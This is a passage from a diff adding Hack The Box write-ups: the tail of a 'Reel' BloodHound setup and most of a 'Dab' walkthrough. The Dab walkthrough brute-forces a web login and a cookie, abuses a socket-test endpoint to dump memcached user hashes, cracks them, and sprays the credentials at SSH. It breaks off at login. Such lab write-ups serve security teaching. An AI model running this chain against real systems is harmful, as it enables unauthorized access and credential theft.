1 nothing nothing 8948976 Jul 15 20:13 libGLESv2.so + -rwxr-xr-x 1 nothing nothing 4488304 Jul 15 20:13 libvk_swiftshader.so + -rwxr-xr-x 1 nothing nothing 8483376 Jul 15 20:13 libvulkan.so + -rw-r--r-- 1 nothing nothing 1060 Jul 15 20:13 LICENSE + -rw-r--r-- 1 nothing nothing 4710103 Jul 15 20:13 LICENSES.chromium.html + drwxrwxr-x 2 nothing nothing 4096 Jul 15 20:13 locales + drwxrwxr-x 3 nothing nothing 4096 Jul 15 20:13 resources + -rw-r--r-- 1 nothing nothing 4835574 Jul 15 20:13 resources.pak + -rw-r--r-- 1 nothing nothing 50591 Jul 15 20:13 snapshot_blob.bin + drwxrwxr-x 2 nothing nothing 4096 Jul 15 20:13 swiftshader + -rw-r--r-- 1 nothing nothing 170904 Jul 15 20:13 v8_context_snapshot.bin + -rw-r--r-- 1 nothing nothing 5 Jul 15 20:13 version + -rw-r--r-- 1 nothing nothing 107 Jul 15 20:13 vk_swiftshader_icd.json + + [ 10.10.16.9/23 ] [ /dev/pts/20 ] [Tools/Bloodhound/BloodHound-linux-x64] + → sudo ln -s $(pwd)/BloodHound /usr/local/bin/bloodhound + [sudo] password for nothing: + + + +` ![](prg/11/3.png) ![](prg/11/4.png) ![](prg/11/5.png) + +Now this means that you need to install the bloodhound version that was available at the time when the box was released, so let's install the Bloodhound version from 2018: + + + [ 10.0.99.99/16 ] [ /dev/pts/2 ] [~/HTB/Reel] + → which bloodhound + /usr/local/bin/bloodhound + + [ 10.0.99.99/16 ] [ /dev/pts/2 ] [~/HTB/Reel] + → rm /usr/local/bin/bloodhound + rm: cannot remove '/usr/local/bin/bloodhound': Permission denied + + [ 10.0.99.99/16 ] [ /dev/pts/2 ] [~/HTB/Reel] + → sudo !! + + [ 10.0.99.99/16 ] [ /dev/pts/2 ] [~/HTB/Reel] + → sudo rm /usr/local/bin/bloodhound + [sudo] password for nothing: + + [ 10.0.99.99/16 ] [ /dev/pts/2 ] [~/Tools] + → ls -lash + total 12K + 4.0K drwxr-xr-x 3 nothing nothing 4.0K Dec 27 21:19 . + 4.0K drwxr-xr-x 28 nothing nothing 4.0K Mar 27 12:49 .. + 4.0K drwxr-xr-x 3 nothing nothing 4.0K Dec 27 21:19 Bloodhound + + [ 10.0.99.99/16 ] [ /dev/pts/2 ] [~/Tools] + → rm -rf Bloodhound + + [ 10.10.16.2/23 ] [ /dev/pts/14 ] [~/Tools] + → wget https://github.com/BloodHoundAD/BloodHound/releases/download/2.0.4/BloodHound-linux-x64.zip + + [ 10.10.16.2/23 ] [ /dev/pts/14 ] [~/Tools] + → unzip BloodHound-linux-x64.zip + + [ 10.10.16.2/23 ] [ /dev/pts/14 ] [~/Tools] + → cd BloodHound-linux-x64 + + [ 10.10.16.2/23 ] [ /dev/pts/14 ] [~/Tools/BloodHound-linux-x64] + → sudo ln -s $(pwd)/BloodHound /usr/local/bin/bloodhound + [sudo] password for nothing: + + [ 10.10.16.2/23 ] [ /dev/pts/14 ] [~/Tools/BloodHound-linux-x64] + → which bloodhound + /usr/local/bin/bloodhound + + [ 10.10.16.2/23 ] [ /dev/pts/14 ] [~/Tools/BloodHound-linux-x64] + → bloodhound + bloodhound: error while loading shared libraries: libgconf-2.so.4: cannot open shared object file: No such file or directory + + [ 10.10.16.2/23 ] [ /dev/pts/14 ] [~/Tools/BloodHound-linux-x64] + → sudo apt install libgconf-2-4 -y + Reading package lists... Done + + [ 10.10.16.2/23 ] [ /dev/pts/14 ] [~/Tools/BloodHound-linux-x64] + → bloodhound + Gtk-Message: 13:00:16.146: Failed to load module "gail" + + + +Then we repeat the previous steps and see the result after uploading the acls.csv file: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/12.md b/Hard/12.md new file mode 100644 index 0000000..ead45c4 --- /dev/null +++ b/Hard/12.md @@ -0,0 +1,848 @@ +# Dab Writeup + +![](img/12.png) + +## Introduction : + +Dab is a hard linux box released back in August 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.16/23 ] [ /dev/pts/2 ] [~/_HTB/dab] + → sudo nmap -vvv -sTU -p- 10.10.10.86 --max-retries 0 -Pn --min-rate=500 | grep Discovered + [sudo] password for nothing: + Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. + Discovered open port 80/tcp on 10.10.10.86 + Discovered open port 22/tcp on 10.10.10.86 + Discovered open port 21/tcp on 10.10.10.86 + Discovered open port 8080/tcp on 10.10.10.86 + + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.16/23 ] [ /dev/pts/2 ] [~/_HTB/dab] + → sudo nmap -sCV -p80,21,22,8080 10.10.10.86 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-15 21:52 CET + Nmap scan report for 10.10.10.86 + Host is up (0.036s latency). + + PORT STATE SERVICE VERSION + 21/tcp open ftp vsftpd 3.0.3 + | ftp-anon: Anonymous FTP login allowed (FTP code 230) + |_-rw-r--r-- 1 0 0 8803 Mar 26 2018 dab.jpg + | ftp-syst: + | STAT: + | FTP server status: + | Connected to ::ffff:10.10.14.16 + | Logged in as ftp + | TYPE: ASCII + | No session bandwidth limit + | Session timeout in seconds is 300 + | Control connection is plain text + | Data connections will be plain text + | At session startup, client count was 3 + | vsFTPd 3.0.3 - secure, fast, stable + |_End of status + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 20:05:77:1e:73:66:bb:1e:7d:46:0f:65:50:2c:f9:0e (RSA) + | 256 61:ae:15:23:fc:bc:bc:29:13:06:f2:10:e0:0e:da:a0 (ECDSA) + |_ 256 2d:35:96:4c:5e:dd:5c:c0:63:f0:dc:86:f1:b1:76:b5 (ED25519) + 80/tcp open http nginx 1.10.3 (Ubuntu) + |_http-server-header: nginx/1.10.3 (Ubuntu) + | http-title: Login + |_Requested resource was http://10.10.10.86/login + 8080/tcp open http nginx 1.10.3 (Ubuntu) + |_http-open-proxy: Proxy might be redirecting requests + |_http-server-header: nginx/1.10.3 (Ubuntu) + |_http-title: Internal Dev + Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 8.74 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/12/1.png) + +We investigate using burpsuite's repeater: + +![](prg/12/2.png) + +Here we investigate the error codes of our login attempts with a possible username (admin) and an improbable one (adminhaha): + +![](prg/12/3.png) ![](prg/12/4.png) + +So we got the following results: + + + admin >>> Error: Login failed + adminhaha >>> Error: Login failed**.** + + + +This is something you need to check, do you get the same error message when trying different usernames? and here the error codes are different. which gives us a hint that admin is a username. Since we know that the trailing dot is indicative that we have a correct username, we're going to use hydra to enumerate that. + +![](prg/12/5.png) + + + [DATA] attacking http-post-form://10.10.10.86:80/login:username=^USER^&password;=^PASS^&submit;=Login:Login failed.< + [80][http-post-form] host: 10.10.10.86 login: ADMIN password: hahhahhaha + [80][http-post-form] host: 10.10.10.86 login: Admin password: hahhahhaha + [80][http-post-form] host: 10.10.10.86 login: Audrey password: hahhahhaha + [80][http-post-form] host: 10.10.10.86 login: DEFAULT password: hahhahhaha + [80][http-post-form] host: 10.10.10.86 login: DEMO password: hahhahhaha + [80][http-post-form] host: 10.10.10.86 login: Demo password: hahhahhaha + [80][http-post-form] host: 10.10.10.86 login: admin password: hahhahhaha + [80][http-post-form] host: 10.10.10.86 login: default password: hahhahhaha + [80][http-post-form] host: 10.10.10.86 login: demo password: hahhahhaha + + +Now that we have a list of usernames: + + + [ 10.10.14.16/23 ] [ /dev/pts/5 ] [~/_HTB/dab] + → cat usernames + ADMIN + Admin + Audrey + DEFAULT + DEMO + Demo + admin + default + demo + + + +we can try to find the password for one of these usernames using hydra and rockyou.txt + + + [ 10.10.14.16/23 ] [ /dev/pts/3 ] [~/_HTB/dab] + → ls -lash /usr/share/wordlists/rockyou.txt + 134M -rw-r--r-- 1 root root 134M Jul 17 2019 /usr/share/wordlists/rockyou.txt + + [ 10.10.14.16/23 ] [ /dev/pts/3 ] [~/_HTB/dab] + → hydra -L usernames -P /usr/share/wordlists/rockyou.txt 10.10.10.86 http-post-form "/login:username=^USER^&password;=^PASS^&submit;=Login:failed" + Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). + + Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-01-15 22:58:36 + [DATA] max 16 tasks per 1 server, overall 16 tasks, 129099591 login tries (l:9/p:14344399), ~8068725 tries per task + [DATA] attacking http-post-form://10.10.10.86:80/login:username=^USER^&password;=^PASS^&submit;=Login:failed + [STATUS] 2643.00 tries/min, 2643 tries in 00:01h, 129096948 to do in 814:05h, 16 active + [80][http-post-form] host: 10.10.10.86 login: ADMIN password: Password1 + + + +And it looks like we have credentials ! ADMIN:Password1 so let's login: + +![](prg/12/6.png) + +It looks like an empty page with nothing useful on it, however it initiated something with memcache as we're going to see later on. To continue, we're going to take a look at port 8080: + +![](prg/12/7.png) + +And here we get an error message telling us something about the pass auth cookie, so we need to figure out what the cookie is called. To do so we'll use wfuzz, when we run it without any filters we get the 322 character length: + + + [ 10.10.14.16/23 ] [ /dev/pts/4 ] [/usr/share/wordlists] + → wfuzz -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie: FUZZ" http://10.10.10.86:8080 + /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. + ******************************************************** + * Wfuzz 3.1.0 - The Web Fuzzer * + ******************************************************** + + Target: http://10.10.10.86:8080/ + Total requests: 2588 + + ===================================================================== + ID Response Lines Word Chars Payload + ===================================================================== + + 000000003: 200 14 L 30 W 322 Ch "page" + 000000034: 200 14 L 30 W 322 Ch "login" + 000000036: 200 14 L 30 W 322 Ch "content" + 000000031: 200 14 L 30 W 322 Ch "s" + 000000033: 200 14 L 30 W 322 Ch "excerpt" + 000000007: 200 14 L 30 W 322 Ch "email" + 000000035: 200 14 L 30 W 322 Ch "search" + 000000015: 200 14 L 30 W 322 Ch "user" + 000000030: 200 14 L 30 W 322 Ch "description" + 000000001: 200 14 L 30 W 322 Ch "id" + 000000032: 200 14 L 30 W 322 Ch "post" + 000000029: 200 14 L 30 W 322 Ch "charset" + 000000023: 200 14 L 30 W 322 Ch "order" + 000000025: 200 14 L 30 W 322 Ch "p" + 000000026: 200 14 L 30 W 322 Ch "key" + 000000022: 200 14 L 30 W 322 Ch "mode" + 000000028: 200 14 L 30 W 322 Ch "start" + 000000024: 200 14 L 30 W 322 Ch "lang" + 000000027: 200 14 L 30 W 322 Ch "status" + 000000021: 200 14 L 30 W 322 Ch "data" + [...] + + +So we're going to filter out the 322 character length using the --hh 322 flag: + + + + [ 10.10.14.16/23 ] [ /dev/pts/3 ] [~/_HTB/dab] + → wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie: FUZZ" --hh 322 http://10.10.10.86:8080 + /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. + ******************************************************** + * Wfuzz 3.1.0 - The Web Fuzzer * + ******************************************************** + + Target: http://10.10.10.86:8080/ + Total requests: 2588 + + ===================================================================== + ID Response Lines Word Chars Payload + ===================================================================== + + 000000005: 200 14 L 29 W 324 Ch "password" + + Total time: 11.62986 + Processed Requests: 2588 + Filtered Requests: 2587 + Requests/sec.: 222.5305 + + + +And we found it! the Cookie has to be set to the "password" value. So let's use burpsuite to make this process easier: + +![](prg/12/7.png) ![](prg/12/8.png) ![](prg/12/9.png) + +as expected, we get the cookie not set error, now let's set the cookie password parameter with a random value: + +![](prg/12/10.png) + +And as you can see here, we get a different error message than previously, this means that the parameter "password" is valid, but the value that it posesses is not, so let's bruteforce it with a wordlist and as we do so, we need to first know what's the character response length: + +![](prg/12/11.png) + +In this case it is 324 characters, so we need to use wfuzz's --hh 324 flag: + + + + [ 10.10.14.16/23 ] [ /dev/pts/3 ] [~/_HTB/dab] + → wfuzz -c -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -H "Cookie: password=FUZZ" --hh 324 http://10.10.10.86:8080 + /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. + ******************************************************** + * Wfuzz 3.1.0 - The Web Fuzzer * + ******************************************************** + + Target: http://10.10.10.86:8080/ + Total requests: 10000 + + ===================================================================== + ID Response Lines Word Chars Payload + ===================================================================== + + 000000097: 200 21 L 48 W 540 Ch "secret" + + Total time: 43.05595 + Processed Requests: 10000 + Filtered Requests: 9999 + Requests/sec.: 232.2559 + + +so when you set the cookie parameter 'password' to 'secret' you get the following: + +![](prg/12/13.png) ![](prg/12/14.png) ![](prg/12/15.png) ![](prg/12/16.png) + +and when you send random values to the prompts you get this url and response: + + + http://10.10.10.86:8080/socket?port=nothing&cmd;=nowhere + + + +` ![](prg/12/17.png) + +Now we don't need to use firefox to manually bruteforce this, let's use curl. + + + [ 10.10.14.16/23 ] [ /dev/pts/3 ] [~/_HTB/dab] + → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=1&cmd;=nothing' + + 500 Internal Server Error + + + # Internal Server Error + + + + + The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application. + + + + [ 10.10.14.16/23 ] [ /dev/pts/3 ] [~/_HTB/dab] + → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=21&cmd;=nothing' -s |tail +8 + + + + + + + + Status of cache engine: Online + + + + + #### TCP socket test + + + + + + + + + + + Output + + + + + + 220 (vsFTPd 3.0.3) + 530 Please login with USER and PASS. + + + +% + +So here we see something interesting, we can scan the ports from that page. Let's trim out the useless infos from our output: + + + [ 10.10.14.16/23 ] [ /dev/pts/3 ] [~/_HTB/dab] + → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=21&cmd;=nothing' -s |tail +20 | head -n -4 + + + + 220 (vsFTPd 3.0.3) + 530 Please login with USER and PASS. + + + +[ 10.10.14.16/23 ] [ /dev/pts/3 ] [~/_HTB/dab] → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=22&cmd;=nothing' -s |tail +20 | head -n -4 + + + SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4 + Protocol mismatch. + + + +[ 10.10.14.16/23 ] [ /dev/pts/3 ] [~/_HTB/dab] → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=80&cmd;=nothing' -s |tail +20 | head -n -4 + + + HTTP/1.1 400 Bad Request + Server: nginx/1.10.3 (Ubuntu) + Date: Sat, 16 Jan 2021 09:18:49 GMT + Content-Type: text/html + Content-Length: 182 + Connection: close + + + 400 Bad Request + +

400 Bad Request

+
nginx/1.10.3 (Ubuntu)
+ + + + + +So let's use wfuzz again to enumerate the ports: + + + + [ 10.10.14.16/23 ] [ /dev/pts/4 ] [~/_HTB/dab] + → wfuzz -c -z range,1-65535 -u 'http://10.10.10.86:8080/socket?port=FUZZ&cmd;=nothing' -H "Cookie: password=secret" --hc=500 + /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. + ******************************************************** + * Wfuzz 3.1.0 - The Web Fuzzer * + ******************************************************** + + Target: http://10.10.10.86:8080/socket?port=FUZZ&cmd;=nothing + Total requests: 65535 + + ===================================================================== + ID Response Lines Word Chars Payload + ===================================================================== + + 000000021: 200 28 L 61 W 627 Ch "21" + 000000022: 200 28 L 55 W 629 Ch "22" + 000000080: 200 40 L 84 W 1010 Ch "80" + 000008080: 200 40 L 84 W 1010 Ch "8080" + 000011211: 200 27 L 52 W 576 Ch "11211" + 000050528: 200 27 L 52 W 577 Ch "50528" + + + +looks like we picked up something our nmap scan didnt earlier: + + + [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] + → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=11211&cmd;=nothing' -s |tail +20 | head -n -4 + + + + ERROR + + + +[ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=50528&cmd;=nothing' -s |tail +20 | head -n -4 + +These error codes aren't helpful although we now know that these ports are most likely to be our next steps. So first we do a bit of research on port 11211 and we find that it may correspond to [memcached](https://memcached.org/) + +![](prg/12/18.png) + +Based on this, we can enumerate memcached further: + + + [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] + → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=11211&cmd;=version' -s |tail +20 | head -n -4 + + + + VERSION 1.4.25 Ubuntu + + + +[ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=11211&cmd;=stats slabs' -s |tail +20 | head -n -4 + + + STAT 16:chunk_size 2904 + STAT 16:chunks_per_page 361 + STAT 16:total_pages 1 + STAT 16:total_chunks 361 + STAT 16:used_chunks 1 + STAT 16:free_chunks 360 + STAT 16:free_chunks_end 0 + STAT 16:mem_requested 2880 + STAT 16:get_hits 0 + STAT 16:cmd_set 2 + STAT 16:delete_hits 0 + STAT 16:incr_hits 0 + STAT 16:decr_hits 0 + STAT 16:cas_hits 0 + STAT 16:cas_badval 0 + STAT 16:touch_hits 0 + STAT 26:chunk_size 27120 + STAT 26:chunks_per_page 38 + STAT 26:total_pages 1 + STAT 26:total_chunks 38 + STAT 26:used_chunks 1 + STAT 26:free_chunks 37 + STAT 26:free_chunks_end 0 + STAT 26:mem_requested 24699 + STAT 26:get_hits 13640 + STAT 26:cmd_set 29 + STAT 26:delete_hits 0 + STAT 26:incr_hits 0 + STAT 26:decr_hits 0 + STAT 26:cas_hits 0 + STAT 26:cas_badval 0 + STAT 26:touch_hits 0 + STAT active_slabs 2 + STAT total_malloced 2078904 + END + + + +[ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=11211&cmd;=stats items' -s |tail +20 | head -n -4 + + + STAT items:16:number 1 + STAT items:16:age 48401 + STAT items:16:evicted 0 + STAT items:16:evicted_nonzero 0 + STAT items:16:evicted_time 0 + STAT items:16:outofmemory 0 + STAT items:16:tailrepairs 0 + STAT items:16:reclaimed 0 + STAT items:16:expired_unfetched 0 + STAT items:16:evicted_unfetched 0 + STAT items:16:crawler_reclaimed 0 + STAT items:16:crawler_items_checked 0 + STAT items:16:lrutail_reflocked 0 + STAT items:26:number 1 + STAT items:26:age 48410 + STAT items:26:evicted 0 + STAT items:26:evicted_nonzero 0 + STAT items:26:evicted_time 0 + STAT items:26:outofmemory 0 + STAT items:26:tailrepairs 0 + STAT items:26:reclaimed 0 + STAT items:26:expired_unfetched 0 + STAT items:26:evicted_unfetched 0 + STAT items:26:crawler_reclaimed 0 + STAT items:26:crawler_items_checked 0 + STAT items:26:lrutail_reflocked 0 + END + + + +So here we managed to get information on the OS, and the items and memory, which are known as slabs. You can see their ids are either 16 or 26, for each slab we can use **stats cachedump** to give us each item in the slab with its size and expiration timestamp: + + + [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] + → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=11211&cmd;=stats cachedump 16 0' -s |tail +20 | head -n -4 + + + + ITEM stock [2807 b; 1610748196 s] + END + + + +[ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=11211&cmd;=stats cachedump 26 0' -s |tail +20 | head -n -4 + + + ITEM users [24625 b; 1610748187 s] + END + + + +We can also get Users data: + + + [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] + → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=11211&cmd;=get users' -s |tail +20 | head -n -4 + + + + END + + + +Well, not quite, that is because we need to login like we did earlier: + +![](prg/12/19.png) + +Once we logged in again, get the users info but format it correctly otherwise this is going to be some unreadable garbage: + + + [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] + → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=11211&cmd;=get users' -s |tail +20 | head -n -4 + + + + VALUE users 0 24625 + {"quinton_dach": "17906b445a05dc42f78ae86a92a57bbd", "jackie.abbott": "c6ab361604c4691f78958d6289910d21", "isidro": "e4a4c90483d2ef61de42af1f044087f3", "roy": "afbde995441e19497fe0695e9c539266", "colleen": "d3792794c3143f7e04fd57dc8b085cd4", "harrison.hessel": "bc5f9b43a0336253ff947a4f8dbdb74f", "asa.christiansen": "d7505316e9a10fc113126f808663b5a4", "jessie": "71f08b45555acc5259bcefa3af63f4e1", "milton_hintz": "8f61be2ebfc66a5f2496bbf849c89b84", "demario_homenick": "2c22da161f085a9aba62b9bbedbd4ca7", "paris": "ef9b20082b7c234c91e165c947f10b71", "gardner_ward": "eb7ed0e8c112234ab1439726a4c50162", "daija.casper": "4d0ed472e5714e5cca8ea7272b15173a", "alanna.prohaska": "6980ba8ee392b3fa6a054226b7d8dd8f", "russell_borer": "cb10b94b5dbb5dfab049070a2abda16e", "domenica.kulas": "5cb322691472f05130416b05b22d4cdf", "davon.kuhic": "e301e431db395ab3fdc123ba8be93ff9", "alana": "41c85abbc7c64d93ca7bda5e2cfc46c2", "bryana": "4d0da0f96ecd0e8b655573cd67b8a1c1", "elmo_welch": "89122bf3ade23faf37b470f1fa5c7358", "sasha": "fbabdcc0eb2ace9aa5b88148a02f78fe", "krystina.lynch": "1b4b73070f563b787afaf435943fac9c", "rick_kirlin": "8952b9d5be0dcb77bdf349cc0e79b49d", "elenora": "edbe5879fa4e452ceceedccf59067409", "broderick": " + [...] + + +[ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] → curl -s 'http://10.10.10.86:8080/socket?port=11211&cmd;=get users' -H "Cookie: password=secret" | recode html..ascii | sed -n '/VALUE/{:a;n;/END/b;p;ba}' | jq . { "quinton_dach": "17906b445a05dc42f78ae86a92a57bbd", "jackie.abbott": "c6ab361604c4691f78958d6289910d21", "isidro": "e4a4c90483d2ef61de42af1f044087f3", "roy": "afbde995441e19497fe0695e9c539266", "colleen": "d3792794c3143f7e04fd57dc8b085cd4", "harrison.hessel": "bc5f9b43a0336253ff947a4f8dbdb74f", "asa.christiansen": "d7505316e9a10fc113126f808663b5a4", "jessie": "71f08b45555acc5259bcefa3af63f4e1", "milton_hintz": "8f61be2ebfc66a5f2496bbf849c89b84", [...] } + +Thing is, you need to log back in to be able to keep reading the users data because after 1 minute the data gets cleared out of memcache. So we're going to save it to a file + + + [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] + → curl -s 'http://10.10.10.86:8080/socket?port=11211&cmd;=get users' -H "Cookie: password=secret" | recode html..ascii | sed -n '/VALUE/{:a;n;/END/b;p;ba}' | jq . > users.txt + + + +Now here we need to get the hashes out of that json file: + + + + [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] + → cat users.json + { + "quinton_dach": "17906b445a05dc42f78ae86a92a57bbd", + "jackie.abbott": "c6ab361604c4691f78958d6289910d21", + "isidro": "e4a4c90483d2ef61de42af1f044087f3", + "roy": "afbde995441e19497fe0695e9c539266", + "colleen": "d3792794c3143f7e04fd57dc8b085cd4", + [...] + + [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] + → cat users.json | jq -r 'to_entries | .[].value' |head -n10 + 17906b445a05dc42f78ae86a92a57bbd + c6ab361604c4691f78958d6289910d21 + e4a4c90483d2ef61de42af1f044087f3 + afbde995441e19497fe0695e9c539266 + d3792794c3143f7e04fd57dc8b085cd4 + bc5f9b43a0336253ff947a4f8dbdb74f + d7505316e9a10fc113126f808663b5a4 + 71f08b45555acc5259bcefa3af63f4e1 + 8f61be2ebfc66a5f2496bbf849c89b84 + 2c22da161f085a9aba62b9bbedbd4ca7 + + [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] + → cat users.json | jq -r 'to_entries | .[].value' > hashes + + + +Once we have the hashes saved into a file, we can use hashcat to crack them, and 12 of them returned: + + + [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] + → hashcat -a 0 -m 0 hashes /usr/share/wordlists/rockyou.txt --force -o cracked + + [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] + → hashcat users-hashes --show + eb95fc1ab8251cf1f8f870e7e4dae54d:megadeth + fc7992e8952a8ff5000cb7856d8586d2:Princess1 + fe01ce2a7fbac8fafaed7c982a04e229:demo + 2ac9cb7dc02b3c0083eb70898e549b63:Password1 + 254e5f2c3beb1a3d03f17253c15c07f3:hacktheplanet + c21f969b5f03d33d43e04f8f136e7682:default + 9731e89f01c1fb943cf0baa6772d2875:piggy + 0ef9c986fad340989647f0001e3555d4:misfits + 5177790ad6df0ea98db41b37b602367c:strength + 6f9ff93a26a118b460c878dc30e17130:monkeyman + 1e0ad2ec7e8c3cc595a9ec2e3762b117:blaster + 0daa6275280be3cf03f9f9c62f9d26d1:lovesucks1 + + + +So now we have a massive list of users and 12 passwords with only the hashes in common: + + + + [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] + → cat users.json | head -n10 + { + "quinton_dach": "17906b445a05dc42f78ae86a92a57bbd", + "jackie.abbott": "c6ab361604c4691f78958d6289910d21", + "isidro": "e4a4c90483d2ef61de42af1f044087f3", + "roy": "afbde995441e19497fe0695e9c539266", + "colleen": "d3792794c3143f7e04fd57dc8b085cd4", + "harrison.hessel": "bc5f9b43a0336253ff947a4f8dbdb74f", + "asa.christiansen": "d7505316e9a10fc113126f808663b5a4", + "jessie": "71f08b45555acc5259bcefa3af63f4e1", + "milton_hintz": "8f61be2ebfc66a5f2496bbf849c89b84", + + [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] + → cat user-hashes + eb95fc1ab8251cf1f8f870e7e4dae54d:megadeth + fc7992e8952a8ff5000cb7856d8586d2:Princess1 + fe01ce2a7fbac8fafaed7c982a04e229:demo + 2ac9cb7dc02b3c0083eb70898e549b63:Password1 + 254e5f2c3beb1a3d03f17253c15c07f3:hacktheplanet + c21f969b5f03d33d43e04f8f136e7682:default + 9731e89f01c1fb943cf0baa6772d2875:piggy + 0ef9c986fad340989647f0001e3555d4:misfits + 5177790ad6df0ea98db41b37b602367c:strength + 6f9ff93a26a118b460c878dc30e17130:monkeyman + 1e0ad2ec7e8c3cc595a9ec2e3762b117:blaster + 0daa6275280be3cf03f9f9c62f9d26d1:lovesucks1 + :w + + + +Since the hash is what these 2 files have in common, we're going to use it to end up with a file that contains 'username:password' so that it can be ran into hydra. + + + + [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] + → cat user-hashes| while read c; do hash=$(echo ${c} | cut -d: -f1); pass=$(echo $c |cut -d: -f2); username=$(grep ${hash} users.json | cut -d: -f1 ); echo "${username}:${pass}"; done + "wendell":megadeth + "genevieve":Princess1 + "demo":demo + "admin":Password1 + "d_murphy":hacktheplanet + "default":default + "abbigail":piggy + "aglae":misfits + "irma":strength + "ona":monkeyman + "alec":blaster + "rick":lovesucks1 + : + + [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] + → cat user-hashes| while read c; do hash=$(echo ${c} | cut -d: -f1); pass=$(echo $c |cut -d: -f2); username=$(grep ${hash} users.json | cut -d: -f1 ); echo "${username}:${pass}"; done > user_pass + + + +Then cut out the " characters since hydra doesn't need these (:%s/"//gi , :wq ) + + + [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] + → cat user_pass + wendell:megadeth + genevieve:Princess1 + demo:demo + admin:Password1 + d_murphy:hacktheplanet + default:default + abbigail:piggy + aglae:misfits + irma:strength + ona:monkeyman + alec:blaster + rick:lovesucks1 + + [ 10.10.14.16/23 ] [ /dev/pts/4 ] [~/_HTB/dab] + → hydra -C user_pass ssh://10.10.10.86 + Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). + + Hydra (http://www.thc.org/thc-hydra) starting at 2020-01-16 14:16:00 + [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 + [DATA] max 12 tasks per 1 server, overall 12 tasks, 12 login tries, ~1 try per task + [DATA] attacking ssh://10.10.10.86:22/ + [22][ssh] host: 10.10.10.86 login: genevieve password: Princess1 + 1 of 1 target successfully completed, 1 valid password found + Hydra (http://www.thc.org/thc-hydra) finished at 2020-01-16 14:16:00 + + + +And we found credentials ! genevieve:Princess1 so let's login via ssh: + + + [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] + → 